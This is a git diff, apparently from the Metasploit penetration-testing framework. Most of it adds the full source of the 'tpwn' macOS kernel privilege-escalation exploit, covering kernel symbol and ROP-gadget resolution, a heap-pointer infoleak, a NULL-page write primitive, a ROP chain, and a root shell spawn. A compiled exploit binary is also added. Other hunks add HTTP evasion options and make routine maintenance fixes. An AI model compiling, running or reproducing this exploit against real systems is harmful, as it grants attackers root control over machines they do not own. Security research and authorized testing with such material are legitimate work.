diff --git a/Gemfile.lock b/Gemfile.lock index f321a5fad4..e7e91460a9 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.7) + metasploit-payloads (= 1.0.9) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.7) + metasploit-payloads (1.0.9) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/data/exploits/tpwn/tpwn b/data/exploits/tpwn/tpwn new file mode 100755 index 0000000000..dabce3a9ec Binary files /dev/null and b/data/exploits/tpwn/tpwn differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index cdb2a5d199..523a89ac51 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -743,7 +743,8 @@ def stdapi_sys_process_close(request, response): if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - del meterpreter.processes[proc_h_id] + if meterpreter.processes.has_key(proc_h_id): + del meterpreter.processes[proc_h_id] return ERROR_SUCCESS, response @meterpreter.register_function diff --git a/external/source/exploits/tpwn/Makefile b/external/source/exploits/tpwn/Makefile new file mode 100644 index 0000000000..dfecee38e4 --- /dev/null +++ b/external/source/exploits/tpwn/Makefile @@ -0,0 +1,3 @@ +all: + gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 + strip tpwn diff --git a/external/source/exploits/tpwn/import.h b/external/source/exploits/tpwn/import.h new file mode 100644 index 0000000000..cf0a0354f4 --- /dev/null +++ b/external/source/exploits/tpwn/import.h @@ -0,0 +1,34 @@ +#ifndef pwn_import_h +#define pwn_import_h + + +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "lsym.h" +#include "lsym_gadgets.h" + +#endif diff --git a/external/source/exploits/tpwn/lsym.h b/external/source/exploits/tpwn/lsym.h new file mode 100644 index 0000000000..eaa1d417d9 --- /dev/null +++ b/external/source/exploits/tpwn/lsym.h @@ -0,0 +1,47 @@ +#ifndef __pwn__lsym__ +#define __pwn__lsym__ + +#include +#include "import.h" + +#define JUNK_VALUE 0x1337133713371337 + + +typedef struct kernel_fake_stack { + uint64_t __cnt; + uint64_t __padding[0x4999]; + uint64_t __rop_chain[0x5000]; +} kernel_fake_stack_t; + +#define LSYM_PAYLOAD_VTABLE 1 + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); + +typedef struct lsym_map { + void* map; + const char* path; + size_t sz; +} lsym_map_t; + +typedef enum { + LSYM_DO_NOT_REBASE = (1 << 0) +} lsym_gadget_flags; + +typedef uint64_t lsym_map_pointer_t; +typedef uint64_t lsym_kern_pointer_t; +typedef uint64_t lsym_slidden_kern_pointer_t; +typedef uint64_t lsym_offset_t; + +lsym_kern_pointer_t kext_pointer(const char* identifier); +lsym_map_t *lsym_map_file(const char *path); +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name); +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags); +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping); +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer); +lsym_offset_t lsym_vm_addrperm(); + +typedef struct kernel_exploit_vector kernel_exploit_vector_t; + +#endif /* defined(__pwn__lsym__) */ diff --git a/external/source/exploits/tpwn/lsym.m b/external/source/exploits/tpwn/lsym.m new file mode 100644 index 0000000000..5ac22b512b --- /dev/null +++ b/external/source/exploits/tpwn/lsym.m @@ -0,0 +1,159 @@ +#include "lsym.h" +#import + +#include + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); + + +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); +#ifdef FIND_KERNEL_SLIDE +static lsym_offset_t kaslr_slide=0; +static char kaslr_slide_found =0; +#endif + +__attribute__((always_inline)) +lsym_kern_pointer_t kext_pointer(const char* identifier){ + return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue]; +} + +__attribute__((always_inline)) +lsym_map_t *lsym_map_file(const char *path) { + int fd=open(path, O_RDONLY); +if(fd < 0) return 0; + struct stat sb; + fstat(fd, &sb); + if (sb.st_size < 0x1000) { + return 0; + } + void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0); + lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t)); + ret->map = map; + ret->path = path; + ret->sz = sb.st_size & 0xFFFFFFFF; + return ret; +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) { + lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size); + if (!off) { + puts("[-] Couldn't find a ROP gadget, aborting."); + exit(1); + } + return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map)); +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) { + struct mach_header_64 *mh = mapping->map; + struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT); + return (lsym_kern_pointer_t)text->vmaddr; +} +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) { + struct mach_header_64 *mh = mapping->map; + struct symtab_command *symtab = NULL; + struct segment_command_64 *linkedit = NULL; + /* + * Check header + */ + if (mh->magic != MH_MAGIC_64) { + return (lsym_kern_pointer_t)NULL; + } + + /* + * Find the LINKEDIT and SYMTAB sections + */ + linkedit = find_segment_64(mh, SEG_LINKEDIT); + if (!linkedit) { + return (lsym_kern_pointer_t)NULL; + } + + symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB); + if (!symtab) { + return (lsym_kern_pointer_t)NULL; + } + void* symtabp = symtab->stroff + 4 + (char*)mh; + void* symtabz = symtab->stroff + (char*)mh; + void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA; + uint32_t idx = 0; + while (symtabp < symendp) { + if(strcmp(symtabp, name) == 0) goto found; + symtabp += strlen((char*)symtabp) + 1; + idx++; + } + printf("[-] symbol %s not resolved.\n", name); exit(0); + return (lsym_kern_pointer_t)NULL; +found:; + struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh); + uint64_t strx = ((char*)symtabp - (char*)symtabz); + unsigned int symp = 0; + while(symp <= (symtab->nsyms)) { + uint32_t strix = *((uint32_t*)nlp); + if(strix == strx) + goto found1; + nlp ++; //sizeof(struct nlist_64); + symp++; + } + printf("[-] symbol not found: %s\n", name); + exit(-1); +found1: + //printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value); + return (lsym_kern_pointer_t)nlp->n_value; + +} + +__attribute__((always_inline)) +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname) +{ + struct load_command *lc; + struct segment_command_64 *s, *fs = NULL; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT_64) { + s = (struct segment_command_64 *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return fs; +} + +__attribute__((always_inline)) +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name) +{ + struct section_64 *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64)); + i < seg->nsects; + i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +__attribute__((always_inline)) +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd) +{ + struct load_command *lc, *flc; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == cmd) { + flc = (struct load_command *)lc; + break; + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return flc; +} diff --git a/external/source/exploits/tpwn/lsym_gadgets.h b/external/source/exploits/tpwn/lsym_gadgets.h new file mode 100644 index 0000000000..a6616e4ca5 --- /dev/null +++ b/external/source/exploits/tpwn/lsym_gadgets.h @@ -0,0 +1,69 @@ +#ifndef ROP_PIVOT_RAX +/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */ + +#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name)) + +/* ROP gadgets present in 10.10 */ + +// stack pivot +#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0) +#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0) +#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0) +#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0) + +#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0) + +// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts). +// how the fuck do these gadgets even exist lmao + +#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget. +#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0); +#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0) +#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0) +#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0) +#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0) +#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0) +#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0) +#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0) +#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0) +#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0) +#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0) +// register control +#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0) +#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0) +#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0) +#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0) +#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0) +#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0) +#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0) +#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0) +#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0) +#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0) + +// write gadgets +#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0) +#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0) + +// read gadget +#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0) + + +// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents. + +#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0); + +// helpers + +#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++] +#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value; +#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value; +#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE; +#endif diff --git a/external/source/exploits/tpwn/main.m b/external/source/exploits/tpwn/main.m new file mode 100644 index 0000000000..9400395f71 --- /dev/null +++ b/external/source/exploits/tpwn/main.m @@ -0,0 +1,286 @@ +#include +static uint64_t kslide=0; +#define ALLOCS 0x100 +#import "import.h" +#import "lsym_gadgets.h" +static mach_port_t servicea = 0; +static mach_port_t servicex = 0; +__attribute__((always_inline)) inline +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) { + if (!pointer) return pointer; + return (lsym_slidden_kern_pointer_t) pointer + kslide; +} + +__attribute__((always_inline)) static inline +uint64_t alloc(uint32_t addr, uint32_t sz) { + vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); + vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); + while(sz--) *(char*)(addr+sz)=0; + return addr; +} +__attribute__((always_inline)) static inline +uint64_t leak_heap_ptr(io_connect_t* co) { + io_connect_t conn = MACH_PORT_NULL; + if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) { + puts("failed"); + exit(-20); + } + uint64_t scalarO_64=0; + uint32_t outputCount = 1; + IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount); + if (!scalarO_64) { + puts("failed infoleaking"); + exit(-20); + } + scalarO_64 <<= 8; + scalarO_64 |= 0xffffff0000000000; + return scalarO_64; +} +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; + mach_msg_trailer_t trailer; +} oolmsg_t; +static uint16_t off_w = 0; +__attribute__((always_inline)) static inline +void or_everywhere(uint64_t add) { + io_connect_t conn = MACH_PORT_NULL; + IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0; + if(!off_w) { + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00; + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + char* kp=(char*)0xC00; + while ((uint32_t)kp < 0x1000) { + if (*kp == 0x10) { + break; + } + kp++; + } + if ((uint32_t)kp == 0x1000) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("not vulnerable"); + exit(-1); + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + if (*((char*)0xC00)!=0x10) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("wrong offset"); + exit(-2); + } + off_w = (uint16_t) kp - 0xc00; + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)(add - off_w); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + vm_deallocate(mach_task_self(), 0, 0x1000); + IOServiceClose(conn); +} +__attribute__((always_inline)) static inline +void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + if(!*msgp){ + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); + mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); + } + bzero(msg,sizeof(oolmsg_t)); + msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->header.msgh_remote_port = *msgp; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_size = sizeof(oolmsg_t); + msg->header.msgh_id = 1; + msg->body.msgh_descriptor_count = 1; + msg->desc.address = (void *)vz; + msg->desc.size = svz; + msg->desc.type = MACH_MSG_OOL_DESCRIPTOR; + mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 ); + free(msg); +} +__attribute__((always_inline)) static inline +char* read_kern_data(mach_port_t port) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + bzero(msg,sizeof(oolmsg_t)+0x2000); + mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL); + return msg->desc.address; +} +int main(int argc, char** argv, char** envp){ + if (getuid() == 0) { + execve("/bin/sh",((char* []){"/bin/sh",0}), envp); + exit(0); + } + if((int)main < 0x5000) execve(argv[0],argv,envp); + lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); + if (!mapping_kernel || !mapping_kernel->map) { + mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel"); + } + lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily"); + kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10; + sync(); + kern_return_t err; + io_iterator_t iterator; + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator); + servicex = IOIteratorNext(iterator); + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator); + servicea = IOIteratorNext(iterator); + uint64_t c = 0; + or_everywhere((uint64_t)&c); + if (c != 0x10) { + puts("not vulnerable"); + return 2; + } + int ctr=0; +#define DO_TIMES(x) for(ctr=0;ctr__rop_chain; + + or_everywhere(heap_info[1].kobject+0x220); // set online + or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL) + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0x10; + mp[0] = (uint64_t)0; + mp[1] = (uint64_t)vtable; + mp[2] = (uint64_t)&mp[1]; + uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code! + vm_deallocate(mach_task_self(), 0, 0x1000); + setuid(0); + if (getuid() == 0) { + system("/bin/sh"); + exit(0); + } + + puts("didn't get root, but this system is vulnerable. "); + puts("kernel heap may be corrupted"); + return 1; +} diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index c621fcf345..77928c41bb 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -73,6 +73,14 @@ module Metasploit # @return [Boolean] Whether to use random casing for the HTTP method attr_accessor :evade_method_random_case + # @!attribute evade_version_random_valid + # @return [Boolean] Whether to use a random, but valid, HTTP version for request + attr_accessor :evade_version_random_valid + + # @!attribute evade_version_random_invalid + # @return [Boolean] Whether to use a random invalid, HTTP version for request + attr_accessor :evade_version_random_invalid + # @!attribute evade_uri_dir_self_reference # @return [Boolean] Whether to insert self-referential directories into the uri attr_accessor :evade_uri_dir_self_reference @@ -294,6 +302,8 @@ module Metasploit 'method_random_valid' => evade_method_random_valid, 'method_random_invalid' => evade_method_random_invalid, 'method_random_case' => evade_method_random_case, + 'version_random_valid' => evade_version_random_valid, + 'version_random_invalid' => evade_version_random_invalid, 'uri_dir_self_reference' => evade_uri_dir_self_reference, 'uri_dir_fake_relative' => evade_uri_dir_fake_relative, 'uri_use_backslashes' => evade_uri_use_backslashes, diff --git a/lib/msf/base/logging.rb b/lib/msf/base/logging.rb index 0a0c475c5b..893d97031a 100644 --- a/lib/msf/base/logging.rb +++ b/lib/msf/base/logging.rb @@ -80,7 +80,7 @@ class Logging # @return [void] def self.start_session_log(session) if (log_source_registered?(session.log_source) == false) - f = Rex::Logging::Sinks::Flatfile.new( + f = Rex::Logging::Sinks::TimestampFlatfile.new( Msf::Config.session_log_directory + File::SEPARATOR + "#{session.log_file_name}.log") register_log_source(session.log_source, f) diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index 6a5ac28cd0..8ca86081fa 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -241,7 +241,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML host_data = {} host_data[:task] = args[:task] host_data[:workspace] = wspace - host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip) + host_data[:host] = nils_for_nulls(unserialize_object(host.elements["address"])) if bl.include? host_data[:host] next else diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index fff0140739..fc2afe3373 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -96,8 +96,9 @@ module Msf::DBManager::Session MetasploitDataModels::AutomaticExploitation::MatchResult.create!( match: session.exploit.user_data[:match], run: session.exploit.user_data[:run], - state: 'succeeded', + state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED, ) + infer_vuln_from_session(session, wspace) elsif session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 2e16e5a978..81311255c0 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1285,6 +1285,14 @@ class Exploit < Msf::Module end end + if user_data_is_match? + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: user_data[:match], + run: user_data[:run], + state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED, + ) + end + framework.db.report_exploit_failure(info) end diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index f9a57f7f49..72b378980f 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -53,7 +53,7 @@ module Exploit::Remote::HttpClient OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']), - OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20]) + OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']) ], self.class ) @@ -68,6 +68,8 @@ module Exploit::Remote::HttpClient OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]), OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]), OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]), + OptBool.new('HTTP::version_random_valid', [false, 'Use a random, but valid, HTTP version for request', false]), + OptBool.new('HTTP::version_random_invalid', [false, 'Use a random invalid, HTTP version for request', false]), OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]), OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]), OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]), @@ -176,6 +178,8 @@ module Exploit::Remote::HttpClient 'method_random_valid' => datastore['HTTP::method_random_valid'], 'method_random_invalid' => datastore['HTTP::method_random_invalid'], 'method_random_case' => datastore['HTTP::method_random_case'], + 'version_random_valid' => datastore['HTTP::version_random_valid'], + 'version_random_invalid' => datastore['HTTP::version_random_invalid'], 'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'], 'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'], 'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'], @@ -236,6 +240,8 @@ module Exploit::Remote::HttpClient evade_method_random_valid: datastore['HTTP::method_random_valid'], evade_method_random_invalid: datastore['HTTP::method_random_invalid'], evade_method_random_case: datastore['HTTP::method_random_case'], + evade_version_random_valid: datastore['HTTP::version_random_valid'], + evade_version_random_invalid: datastore['HTTP::version_random_invalid'], evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'], evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'], evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'], @@ -308,7 +314,12 @@ module Exploit::Remote::HttpClient # Passes +opts+ through directly to 